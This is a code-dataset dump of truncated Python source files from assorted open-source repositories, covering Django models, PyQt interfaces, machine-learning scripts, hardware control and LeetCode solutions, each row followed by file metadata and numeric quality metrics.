null
null
null
apps/sso/access_requests/models.py
g10f/sso
ba6eb712add388c69d4880f5620a2e4ce42d3fee
[ "BSD-3-Clause" ]
null
null
null
import datetime from current_user.models import CurrentUserField from django.conf import settings from django.db import models from django.urls import reverse from django.utils.timezone import now from django.utils.translation import gettext_lazy as _ from sso.accounts.models import Application from sso.models import ...
39.28
111
0.649949
429
3,928
5.731935
0.305361
0.035787
0.044734
0.02074
0.165921
0.102481
0.083774
0
0
0
0
0.003743
0.251782
3,928
99
112
39.676768
0.832936
0.035387
0
0.102564
0
0
0.073222
0.022469
0
0
0
0
0
1
0.102564
false
0
0.128205
0.051282
0.474359
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
cdf35f3aa036ddd5079307083d76c1f9e474653b
1,518
py
Python
test/snr_test.py
AP-Atul/wavelets
cff71e777759844b35f8e96f14930b2c71a215a1
[ "MIT" ]
5
2021-02-01T07:43:39.000Z
2022-03-25T05:01:31.000Z
test/snr_test.py
AP-Atul/wavelets
cff71e777759844b35f8e96f14930b2c71a215a1
[ "MIT" ]
null
null
null
test/snr_test.py
AP-Atul/wavelets
cff71e777759844b35f8e96f14930b2c71a215a1
[ "MIT" ]
null
null
null
import os from time import time import numpy as np import soundfile from matplotlib import pyplot as plt from wavelet.fast_transform import FastWaveletTransform from wavelet.util.utility import threshold, mad, snr, amp_to_db INPUT_FILE = "/example/input/file.wav" OUTPUT_DIR = "/example/output/" info = soundfile.inf...
29.192308
108
0.689065
202
1,518
5.10396
0.475248
0.034918
0.015519
0.019399
0
0
0
0
0
0
0
0.0058
0.204875
1,518
51
109
29.764706
0.848384
0.118577
0
0
0
0
0.088589
0.017267
0
0
0
0
0
1
0
false
0
0.205882
0
0.205882
0.058824
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
cdf4a1acc53ac8000703136e7a930c389adce55b
1,546
py
Python
KeyHookThread.py
v2okimochi/Keasy
0c4d480a4b9fc88f47bbc11ed4ca248cbdc488f2
[ "MIT" ]
1
2018-10-25T01:31:15.000Z
2018-10-25T01:31:15.000Z
KeyHookThread.py
v2okimochi/Keasy
0c4d480a4b9fc88f47bbc11ed4ca248cbdc488f2
[ "MIT" ]
1
2018-07-16T01:39:39.000Z
2018-07-16T01:39:39.000Z
KeyHookThread.py
v2okimochi/Keasy
0c4d480a4b9fc88f47bbc11ed4ca248cbdc488f2
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- from pynput import keyboard from PyQt5.QtCore import QThread, pyqtSignal class KeyHooker(QThread): # シグナル pushCtrlSignal = pyqtSignal() releaseCtrlSignal = pyqtSignal() pushShiftSignal = pyqtSignal() releaseShiftSignal = pyqtSignal() pushCommandSignal = pyqtSignal() ...
29.730769
72
0.599612
145
1,546
6.268966
0.42069
0.084708
0.107811
0.074807
0.187019
0.162816
0.110011
0.110011
0.110011
0.110011
0
0.002788
0.30401
1,546
51
73
30.313725
0.842007
0.141656
0
0.228571
0
0
0
0
0
0
0
0
0
1
0.114286
false
0.057143
0.057143
0
0.371429
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
cdf4c8116e9e2bbcc1b35461d7c08335801aaba4
2,243
py
Python
nad_receiver/nad_commands.py
mindigmarton/nad_receiver
9449699d076011caf560d8c4384a9b1bf2512080
[ "MIT" ]
null
null
null
nad_receiver/nad_commands.py
mindigmarton/nad_receiver
9449699d076011caf560d8c4384a9b1bf2512080
[ "MIT" ]
null
null
null
nad_receiver/nad_commands.py
mindigmarton/nad_receiver
9449699d076011caf560d8c4384a9b1bf2512080
[ "MIT" ]
null
null
null
""" Commands and operators used by NAD. CMDS[domain][function] """ CMDS = { 'main': { 'dimmer': {'cmd': 'Main.Dimmer', 'supported_operators': ['+', '-', '=', '?'] }, 'mute': {'cmd': 'Main.Mute', 'supp...
30.310811
60
0.296478
112
2,243
5.758929
0.241071
0.418605
0.093023
0
0
0
0
0
0
0
0
0
0.495319
2,243
73
61
30.726027
0.569788
0.026304
0
0.191176
0
0
0.3125
0
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
cdf8455878051f84938cb9a928fc16329abe82f4
7,846
py
Python
ui/Ui_addsite.py
EUFAR/asmm-eufar
69ede7a24f757392e63f04091e86c50ab129016f
[ "BSD-3-Clause" ]
null
null
null
ui/Ui_addsite.py
EUFAR/asmm-eufar
69ede7a24f757392e63f04091e86c50ab129016f
[ "BSD-3-Clause" ]
2
2015-06-12T09:28:29.000Z
2015-06-12T09:34:16.000Z
ui/Ui_addsite.py
eufarn7sp/asmm-eufar
69ede7a24f757392e63f04091e86c50ab129016f
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'addsite.ui' # # Created by: PyQt5 UI code generator 5.6 # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_Addsite(object): def setupUi(self, Addsite): Addsite.setObject...
46.702381
115
0.672827
876
7,846
5.971461
0.196347
0.027528
0.037851
0.041483
0.561652
0.510992
0.496655
0.46148
0.450201
0.43529
0
0.04676
0.201377
7,846
167
116
46.982036
0.788063
0.022687
0
0.458065
1
0.03871
0.240078
0.036684
0
0
0
0
0
1
0.012903
false
0
0.006452
0
0.025806
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
cdf8ea07b2a210313250ff1ccb9f4bf6d44a0053
1,772
py
Python
testmile-setu/setu/dispatcher/broker.py
test-mile/setu
b273a11e7f9462e64a370bda16f1952ecdbfb5a5
[ "Apache-2.0" ]
null
null
null
testmile-setu/setu/dispatcher/broker.py
test-mile/setu
b273a11e7f9462e64a370bda16f1952ecdbfb5a5
[ "Apache-2.0" ]
null
null
null
testmile-setu/setu/dispatcher/broker.py
test-mile/setu
b273a11e7f9462e64a370bda16f1952ecdbfb5a5
[ "Apache-2.0" ]
null
null
null
from enum import Enum, auto class SetuGuiAutoActorStateActionType(Enum): INIT_STATE = auto() END_STATE = auto() class SetuGuiAutoActorAutomatorActionType(Enum): LAUNCH = auto() QUIT = auto() GO_TO_URL = auto() GO_BACK = auto() GO_FORWARD = auto() REFRESH = auto() EXECUTE_JAVASCR...
23.012987
48
0.682844
216
1,772
5.189815
0.365741
0.062444
0.037467
0.033898
0
0
0
0
0
0
0
0
0.217269
1,772
76
49
23.315789
0.808219
0.018059
0
0.068966
0
0
0
0
0
0
0
0
0
1
0
false
0
0.017241
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
cdf8f1196a3909edc36aafce5347c3143f73a6ac
76
py
Python
conductor/utils/inputs.py
JoelLefkowitz/conductor
9a5d3a833c17bd57080e538ea7584620560d9235
[ "MIT" ]
1
2021-08-21T21:34:22.000Z
2021-08-21T21:34:22.000Z
conductor/utils/inputs.py
JoelLefkowitz/conductor
9a5d3a833c17bd57080e538ea7584620560d9235
[ "MIT" ]
null
null
null
conductor/utils/inputs.py
JoelLefkowitz/conductor
9a5d3a833c17bd57080e538ea7584620560d9235
[ "MIT" ]
null
null
null
def prompt(msg: str) -> bool: return input(msg).lower() in ["y", "yes"]
25.333333
45
0.578947
12
76
3.666667
0.916667
0
0
0
0
0
0
0
0
0
0
0
0.184211
76
2
46
38
0.709677
0
0
0
0
0
0.052632
0
0
0
0
0
0
1
0.5
false
0
0
0.5
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
5
cdf93d47f329e66522fe3776469675377c2e7349
1,758
py
Python
leetcode/0566_reshape_the_matrix.py
chaosWsF/Python-Practice
ff617675b6bcd125933024bb4c246b63a272314d
[ "BSD-2-Clause" ]
null
null
null
leetcode/0566_reshape_the_matrix.py
chaosWsF/Python-Practice
ff617675b6bcd125933024bb4c246b63a272314d
[ "BSD-2-Clause" ]
null
null
null
leetcode/0566_reshape_the_matrix.py
chaosWsF/Python-Practice
ff617675b6bcd125933024bb4c246b63a272314d
[ "BSD-2-Clause" ]
null
null
null
""" In MATLAB, there is a very useful function called 'reshape', which can reshape a matrix into a new one with different size but keep its original data. You're given a matrix represented by a two-dimensional array, and two positive integers r and c representing the row number and column number of the wanted reshap...
33.807692
100
0.606371
280
1,758
3.807143
0.367857
0.009381
0.014071
0.018762
0.123827
0.123827
0.123827
0.097561
0.054409
0.054409
0
0.03818
0.299772
1,758
51
101
34.470588
0.827782
0.717861
0
0.428571
0
0
0
0
0
0
0
0
0
1
0.142857
false
0
0
0
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
cdfba4673ccb2b05e2ef7ddcaa8aeaa3095e7451
4,629
py
Python
python/main.py
LaraProject/rnn2java
f35b1b98f74864d4310e7866ad5271ae5389292d
[ "MIT" ]
null
null
null
python/main.py
LaraProject/rnn2java
f35b1b98f74864d4310e7866ad5271ae5389292d
[ "MIT" ]
null
null
null
python/main.py
LaraProject/rnn2java
f35b1b98f74864d4310e7866ad5271ae5389292d
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 import socket import select from time import sleep import message_pb2 from google.protobuf.internal import encoder import tensorflow as tf from tensorflow.keras import preprocessing import pickle import numpy as np ## RNN part # Load the inference model def load_inference_models(enc_file, dec_f...
32.598592
140
0.712249
636
4,629
4.97956
0.264151
0.022734
0.037891
0.030313
0.34228
0.332807
0.278813
0.278813
0.278813
0.262078
0
0.012977
0.151005
4,629
141
141
32.829787
0.792875
0.04623
0
0.181034
0
0
0.079145
0
0
0
0
0
0
1
0.068966
false
0
0.077586
0
0.206897
0.043103
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
cdfbbb1e16902c1d3761509ecf7d21633da2152a
161,322
py
Python
dlkit/json_/authorization/sessions.py
UOC/dlkit
a9d265db67e81b9e0f405457464e762e2c03f769
[ "MIT" ]
2
2018-02-23T12:16:11.000Z
2020-10-08T17:54:24.000Z
dlkit/json_/authorization/sessions.py
UOC/dlkit
a9d265db67e81b9e0f405457464e762e2c03f769
[ "MIT" ]
87
2017-04-21T18:57:15.000Z
2021-12-13T19:43:57.000Z
dlkit/json_/authorization/sessions.py
UOC/dlkit
a9d265db67e81b9e0f405457464e762e2c03f769
[ "MIT" ]
1
2018-03-01T16:44:25.000Z
2018-03-01T16:44:25.000Z
"""JSON implementations of authorization sessions.""" # pylint: disable=no-init # Numerous classes don't require __init__. # pylint: disable=too-many-public-methods,too-few-public-methods # Number of methods are defined in specification # pylint: disable=protected-access # Access to protected methods allow...
45.960684
186
0.654709
18,342
161,322
5.587122
0.039581
0.014823
0.028503
0.035939
0.855863
0.834454
0.811727
0.78943
0.773466
0.743138
0
0.000752
0.266275
161,322
3,509
187
45.973782
0.865029
0.55957
0
0.606403
0
0
0.055129
0.006857
0
0
0
0.000285
0
1
0.13371
false
0.001883
0.019774
0
0.317326
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
cdfc9bf4504d5cc25bda0a98802b00001e0b1b9c
1,031
py
Python
LeetCode/516-longest-palindromic-subsequence.py
leaving-voider/LeetCode.cn-Record
2922cbdab85556bc0625adc9e6ce44849232e4f4
[ "MIT" ]
null
null
null
LeetCode/516-longest-palindromic-subsequence.py
leaving-voider/LeetCode.cn-Record
2922cbdab85556bc0625adc9e6ce44849232e4f4
[ "MIT" ]
null
null
null
LeetCode/516-longest-palindromic-subsequence.py
leaving-voider/LeetCode.cn-Record
2922cbdab85556bc0625adc9e6ce44849232e4f4
[ "MIT" ]
null
null
null
############################################################################################### # 还是常规题,和【5. 最长回文子串】不同在于【子串】和【子数组】是【连续】的,而【子序列】可以不连续 # 因此定义dp的方式就不一样,对于【子序列】可以定义长度,而【连续】的【子串】则用是否 ########### # 时间复杂度:O(n^2) # 空间复杂度:O(n^2) ##############################################################################...
44.826087
131
0.354995
156
1,031
2.301282
0.339744
0.058496
0.041783
0.041783
0.116992
0.038997
0
0
0
0
0
0.03794
0.28419
1,031
23
132
44.826087
0.448509
0.192047
0
0
0
0
0
0
0
0
0
0
0
1
0.0625
false
0
0
0
0.1875
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
cdfcd2a90ed7ec6257eb01c41e93f4909519bbec
3,427
py
Python
examples/vae.py
zhangyewu/edward
8ec452eb0a3801df8bda984796034a9e945faec7
[ "Apache-2.0" ]
5,200
2016-05-03T04:59:01.000Z
2022-03-31T03:32:26.000Z
examples/vae.py
zhangyewu/edward
8ec452eb0a3801df8bda984796034a9e945faec7
[ "Apache-2.0" ]
724
2016-05-04T09:04:37.000Z
2022-02-28T02:41:12.000Z
examples/vae.py
zhangyewu/edward
8ec452eb0a3801df8bda984796034a9e945faec7
[ "Apache-2.0" ]
1,004
2016-05-03T22:45:14.000Z
2022-03-25T00:08:08.000Z
"""Variational auto-encoder for MNIST data. References ---------- http://edwardlib.org/tutorials/decoder http://edwardlib.org/tutorials/inference-networks """ from __future__ import absolute_import from __future__ import division from __future__ import print_function import edward as ed import numpy as np import os i...
31.731481
77
0.676685
522
3,427
4.293103
0.356322
0.018742
0.029005
0.023204
0.091923
0.055332
0.033021
0.033021
0
0
0
0.020158
0.189378
3,427
107
78
32.028037
0.786537
0.195214
0
0
0
0
0.048664
0
0
0
0
0
0
1
0.028571
false
0
0.157143
0
0.185714
0.042857
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
cdff5880102eb2ba8d22b6cbec2e9bb5407da963
2,196
py
Python
backup.py
BigBlueHat/copy-couch
ab4759540faecae8239c94e8045f7fce1f4a4914
[ "Apache-2.0" ]
null
null
null
backup.py
BigBlueHat/copy-couch
ab4759540faecae8239c94e8045f7fce1f4a4914
[ "Apache-2.0" ]
null
null
null
backup.py
BigBlueHat/copy-couch
ab4759540faecae8239c94e8045f7fce1f4a4914
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python """copy-couch makes copies of couches. no joke. License: Apache 2.0 - http://opensource.org/licenses/Apache-2.0 """ import argparse import base64 import ConfigParser import datetime import json import requests argparser = argparse.ArgumentParser() argparser.add_argument('config_file', type=fi...
29.675676
74
0.659836
284
2,196
4.922535
0.362676
0.086552
0.054363
0.040057
0.112303
0.077253
0
0
0
0
0
0.014404
0.178051
2,196
73
75
30.082192
0.760111
0.116576
0
0
0
0
0.198238
0
0
0
0
0.013699
0
0
null
null
0.108696
0.130435
null
null
0.086957
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
1
0
0
1
0
0
0
0
0
3
a8042d0c00c4fb676c0f0e3967070e3d72d5ef12
3,568
py
Python
import_scripts/gpcc2gcmon.py
Jozelito/Raster2TXT
337c87298ffc6227ca952e9e5cd17a54979e2224
[ "MIT" ]
null
null
null
import_scripts/gpcc2gcmon.py
Jozelito/Raster2TXT
337c87298ffc6227ca952e9e5cd17a54979e2224
[ "MIT" ]
null
null
null
import_scripts/gpcc2gcmon.py
Jozelito/Raster2TXT
337c87298ffc6227ca952e9e5cd17a54979e2224
[ "MIT" ]
1
2018-05-29T21:16:44.000Z
2018-05-29T21:16:44.000Z
#Script para la importacion de datos netCDF de un mes del GPCC en PostGIS. #Autor: José I. Álvarez Francoso import sys from osgeo import gdal, ogr, osr from osgeo.gdalconst import GA_ReadOnly, GA_Update # Funcion para sobreescribir el mensaje de porcentaje completado def restart_line(): sys.stdout.write('\r') sys.s...
36.783505
107
0.711323
530
3,568
4.662264
0.396226
0.016997
0.029138
0.027924
0.077297
0.077297
0.029138
0
0
0
0
0.015027
0.179372
3,568
96
108
37.166667
0.828893
0.29148
0
0.052632
0
0
0.126047
0.017551
0
0
0
0
0
0
null
null
0
0.052632
null
null
0.065789
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
a804975ed4327041257e7e887706be1ffc7b7803
2,829
py
Python
app.py
Raisler/Brazil_HDI_DataVisualization
76dde95dd1a7171e30a4a2e180a9ecdcea6f8c7c
[ "MIT" ]
null
null
null
app.py
Raisler/Brazil_HDI_DataVisualization
76dde95dd1a7171e30a4a2e180a9ecdcea6f8c7c
[ "MIT" ]
null
null
null
app.py
Raisler/Brazil_HDI_DataVisualization
76dde95dd1a7171e30a4a2e180a9ecdcea6f8c7c
[ "MIT" ]
null
null
null
import streamlit as st import pandas as pd import numpy as np import plotly.express as px from plotly.subplots import make_subplots import plotly.graph_objects as go import matplotlib.pyplot as plt def load_data(data): data=pd.read_csv(data) return data df = load_data('hdi.csv') st.title('Human Development Index i...
40.414286
144
0.679392
409
2,829
4.665037
0.342298
0.044025
0.073375
0.075996
0.357442
0.194969
0.15304
0.111111
0
0
0
0.024237
0.154118
2,829
69
145
41
0.771835
0
0
0.075472
0
0.09434
0.392011
0.04065
0
0
0
0
0
1
0.018868
false
0
0.132075
0
0.169811
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
a804e02acc0b6d5ed28538bc5bf647eab91b6259
657
py
Python
Examples/pycomBlink/main.py
sophie-bernier/RemoteOceanAcidificationMonitor
6a8b799826a2eb9b1d5064883193c61eea0ee310
[ "Unlicense" ]
1
2021-06-22T23:07:31.000Z
2021-06-22T23:07:31.000Z
Examples/pycomBlink/main.py
sophie-bernier/RemoteOceanAcidificationMonitor
6a8b799826a2eb9b1d5064883193c61eea0ee310
[ "Unlicense" ]
null
null
null
Examples/pycomBlink/main.py
sophie-bernier/RemoteOceanAcidificationMonitor
6a8b799826a2eb9b1d5064883193c61eea0ee310
[ "Unlicense" ]
null
null
null
# main.py import pycom import time pycom.heartbeat(False) red = 0x08 blue = 0x00 green = 0x00 sleepTime = 0.01 def setRgb(red, green, blue): rgbValue = 0x000000 rgbValue |= (red << 16) | (green << 8) | blue pycom.rgbled(rgbValue) return while True: ### #if red >= 0x08: # if green > 0:...
16.425
49
0.464231
77
657
3.961039
0.376623
0.059016
0.091803
0.118033
0
0
0
0
0
0
0
0.101266
0.398782
657
39
50
16.846154
0.670886
0.35312
0
0
0
0
0
0
0
0
0.05
0
0
1
0.066667
false
0
0.133333
0
0.266667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
a8054920242ac3e7b7e99120e329e53db3f718af
1,891
py
Python
dsn/pp/construct.py
expressionsofchange/nerf0
788203619fc89c92e8c7301d62bbc4f1f4ee66e1
[ "MIT" ]
2
2019-04-30T05:42:05.000Z
2019-08-11T19:17:20.000Z
dsn/pp/construct.py
expressionsofchange/nerf0
788203619fc89c92e8c7301d62bbc4f1f4ee66e1
[ "MIT" ]
null
null
null
dsn/pp/construct.py
expressionsofchange/nerf0
788203619fc89c92e8c7301d62bbc4f1f4ee66e1
[ "MIT" ]
null
null
null
from spacetime import get_s_address_for_t_address from s_address import node_for_s_address from dsn.s_expr.structure import TreeText from dsn.pp.structure import PPNone, PPSingleLine, PPLispy, PPAnnotatedSExpr from dsn.pp.clef import PPUnset, PPSetSingleLine, PPSetLispy def build_annotated_tree(node, default_annota...
35.679245
120
0.710206
253
1,891
5.086957
0.391304
0.049728
0.041958
0.021756
0.034188
0.034188
0
0
0
0
0
0
0.230566
1,891
52
121
36.365385
0.884536
0.248017
0
0.060606
0
0
0.010707
0
0
0
0
0
0
1
0.060606
false
0
0.151515
0
0.272727
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
a8058f52d55c838079c4a938e2376efb1f6aa6ab
3,704
py
Python
geneparse/__init__.py
legaultmarc/geneparse
5a844df77ded5adc765a086a8d346fce6ba01f3d
[ "MIT" ]
4
2018-11-09T11:10:24.000Z
2021-07-23T22:17:58.000Z
geneparse/__init__.py
legaultmarc/geneparse
5a844df77ded5adc765a086a8d346fce6ba01f3d
[ "MIT" ]
5
2017-05-02T15:28:01.000Z
2018-04-16T18:29:15.000Z
geneparse/__init__.py
legaultmarc/geneparse
5a844df77ded5adc765a086a8d346fce6ba01f3d
[ "MIT" ]
1
2017-05-12T17:58:32.000Z
2017-05-12T17:58:32.000Z
"""A module to parse genetics file formats.""" # This file is part of geneparse. # # The MIT License (MIT) # # Copyright (c) 2017 Pharmacogenomics Centre # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in...
37.04
79
0.687365
444
3,704
5.583333
0.481982
0.035498
0.020976
0.035095
0
0
0
0
0
0
0
0.008392
0.227862
3,704
99
80
37.414141
0.858392
0.364201
0
0.036364
0
0
0.209733
0.018949
0
0
0
0.010101
0
1
0.036364
false
0
0.109091
0
0.181818
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
a8065cec94c9ac0bb277d2b7b2c4a7aa013dd5ba
3,285
py
Python
pallet.py
sprightlyManifesto/cadQuery2
207a1ff2420210460539400dfd1945e8b7245497
[ "MIT" ]
1
2021-05-31T00:08:02.000Z
2021-05-31T00:08:02.000Z
pallet.py
sprightlyManifesto/cadQuery2
207a1ff2420210460539400dfd1945e8b7245497
[ "MIT" ]
null
null
null
pallet.py
sprightlyManifesto/cadQuery2
207a1ff2420210460539400dfd1945e8b7245497
[ "MIT" ]
null
null
null
from cadquery import * from math import sin,cos,acos,asin,pi,atan2 class Pallet: def __init__(self): self.torx6 = { 6:(1.75,1.27), 8:(2.4,1.75), 10:(2.8,2.05), 15:(3.35,2.4), 20:(3.95,2.85), 25:(4.50,3.25), 30:(5.6,4.05), 40:(6.75,4.85),45:(7.93,5.64), 50:(8.95,6.45), ...
48.308824
101
0.497717
626
3,285
2.592652
0.178914
0.05915
0.044362
0.029575
0.321627
0.149723
0.078866
0.045595
0.041898
0.041898
0
0.111997
0.236225
3,285
68
102
48.308824
0.534874
0.040487
0
0
0
0
0.003175
0
0
0
0
0
0
1
0.067797
false
0
0.033898
0
0.152542
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
a8071813703c97e154c1a58b74d953608becaf8d
235
py
Python
old-regressions/python/tst6.py
muchang/z3test
e3e7739f98b7aa85427fcb8a39a4c675132a896e
[ "MIT" ]
23
2015-04-20T08:51:00.000Z
2021-11-15T12:20:59.000Z
old-regressions/python/tst6.py
muchang/z3test
e3e7739f98b7aa85427fcb8a39a4c675132a896e
[ "MIT" ]
18
2016-03-02T15:17:42.000Z
2021-12-16T22:10:05.000Z
old-regressions/python/tst6.py
muchang/z3test
e3e7739f98b7aa85427fcb8a39a4c675132a896e
[ "MIT" ]
30
2015-05-30T15:29:17.000Z
2022-02-25T15:58:58.000Z
# Copyright (c) 2015 Microsoft Corporation from z3 import * print(simplify(Sqrt(2)).sexpr()) set_option(":pp-decimal-precision", 50, pp_decimal=True) print(simplify(Sqrt(2)).sexpr()) set_option(precision=20) print(simplify(Sqrt(2)))
23.5
56
0.744681
35
235
4.914286
0.6
0.226744
0.296512
0.313953
0.372093
0.372093
0.372093
0
0
0
0
0.055556
0.080851
235
9
57
26.111111
0.740741
0.170213
0
0.333333
0
0
0.109375
0.109375
0
0
0
0
0
1
0
true
0
0.166667
0
0.166667
0.5
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
1
0
6
a808c833e4004773a8618ea9f6a2827bf0e5f1ca
2,044
py
Python
data-detective-airflow/tests/dag_generator/test_tdag.py
dmitriy-e/metadata-governance
018a879951dee3f3c2c05ac8e05b8360dd7f4ab3
[ "Apache-2.0" ]
5
2021-12-01T09:55:23.000Z
2021-12-21T16:23:33.000Z
data-detective-airflow/tests/dag_generator/test_tdag.py
dmitriy-e/metadata-governance
018a879951dee3f3c2c05ac8e05b8360dd7f4ab3
[ "Apache-2.0" ]
1
2021-11-16T15:55:34.000Z
2021-11-16T15:55:34.000Z
data-detective-airflow/tests/dag_generator/test_tdag.py
dmitriy-e/metadata-governance
018a879951dee3f3c2c05ac8e05b8360dd7f4ab3
[ "Apache-2.0" ]
2
2021-11-03T09:43:09.000Z
2021-11-17T10:16:29.000Z
import pytest import allure from data_detective_airflow.constants import PG_CONN_ID, S3_CONN_ID from data_detective_airflow.dag_generator.results import PgResult, PickleResult from data_detective_airflow.dag_generator import ResultType, WorkType @allure.feature('Dag results') @allure.story('Create Pickle') def test_...
41.714286
88
0.611546
230
2,044
5.091304
0.191304
0.119556
0.06661
0.061486
0.801879
0.801879
0.717336
0.560205
0.560205
0.560205
0
0.003536
0.308219
2,044
48
89
42.583333
0.824611
0
0
0.487805
0
0
0.04501
0
0
0
0
0
0.073171
1
0.073171
false
0
0.121951
0
0.195122
0
0
0
0
null
0
0
0
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
a8094575efb5f9d3bcb611dcb83074209e70f07f
478
py
Python
Algorithms/Easy/830. Positions of Large Groups/answer.py
KenWoo/Algorithm
4012a2f0a099a502df1e5df2e39faa75fe6463e8
[ "Apache-2.0" ]
null
null
null
Algorithms/Easy/830. Positions of Large Groups/answer.py
KenWoo/Algorithm
4012a2f0a099a502df1e5df2e39faa75fe6463e8
[ "Apache-2.0" ]
null
null
null
Algorithms/Easy/830. Positions of Large Groups/answer.py
KenWoo/Algorithm
4012a2f0a099a502df1e5df2e39faa75fe6463e8
[ "Apache-2.0" ]
null
null
null
from typing import List class Solution: def largeGroupPositions(self, S: str) -> List[List[int]]: l = [] start = end = 0 while start < len(S): while end < len(S) and S[start] == S[end]: end += 1 if end - start >= 3: l.append([start, e...
22.761905
61
0.493724
57
478
4
0.508772
0.105263
0
0
0
0
0
0
0
0
0
0.013468
0.378661
478
20
62
23.9
0.754209
0
0
0
0
0
0.023013
0
0
0
0
0
0
1
0.0625
false
0
0.0625
0
0.25
0.0625
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
a80a22c9f777e08edf7fe7ed83b93c4fd1e307bc
1,727
py
Python
imu.py
aume1/SatelliteTracker
62725e1d1a72a1350b2af15d9e33fcd574ceb3a2
[ "MIT" ]
2
2021-06-19T17:17:30.000Z
2021-06-19T17:17:39.000Z
imu.py
aume1/SatelliteTracker
62725e1d1a72a1350b2af15d9e33fcd574ceb3a2
[ "MIT" ]
null
null
null
imu.py
aume1/SatelliteTracker
62725e1d1a72a1350b2af15d9e33fcd574ceb3a2
[ "MIT" ]
1
2021-06-19T17:18:32.000Z
2021-06-19T17:18:32.000Z
import time import math import py_qmc5883l import pigpio import adafruit_bmp280 from i2c_ADXL345 import ADXL345 import numpy as np from i2c_ITG3205 import Gyro class IMU: def __init__(self, pi): self.gyro = Gyro(pi) self.accel = ADXL345(pi) self.mag = py_qmc5883l.QMC5883L(pi) rpy =...
28.311475
104
0.579618
286
1,727
3.300699
0.307692
0.03178
0.050847
0.047669
0.105932
0
0
0
0
0
0
0.063167
0.294152
1,727
60
105
28.783333
0.711239
0.110596
0
0
0
0
0.015023
0
0
0
0
0
0
1
0.125
false
0
0.166667
0.0625
0.416667
0.020833
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
a80b6a8d0bacba13b3fe61daf36962d8ad3001a4
8,892
py
Python
src/titanic/tit_utils.py
buffbob/titanic
1e52814076ad78f6f9845d7b8f829889977a907b
[ "MIT" ]
null
null
null
src/titanic/tit_utils.py
buffbob/titanic
1e52814076ad78f6f9845d7b8f829889977a907b
[ "MIT" ]
null
null
null
src/titanic/tit_utils.py
buffbob/titanic
1e52814076ad78f6f9845d7b8f829889977a907b
[ "MIT" ]
null
null
null
import pandas as pd from sklearn.model_selection import GridSearchCV, train_test_split, cross_val_score from sklearn.tree import DecisionTreeClassifier from sklearn.metrics import accuracy_score, classification_report import matplotlib.pyplot as plt import numpy as np import category_encoders as ce from sklearn.preproc...
31.870968
109
0.624944
1,293
8,892
4.08894
0.273782
0.016645
0.018725
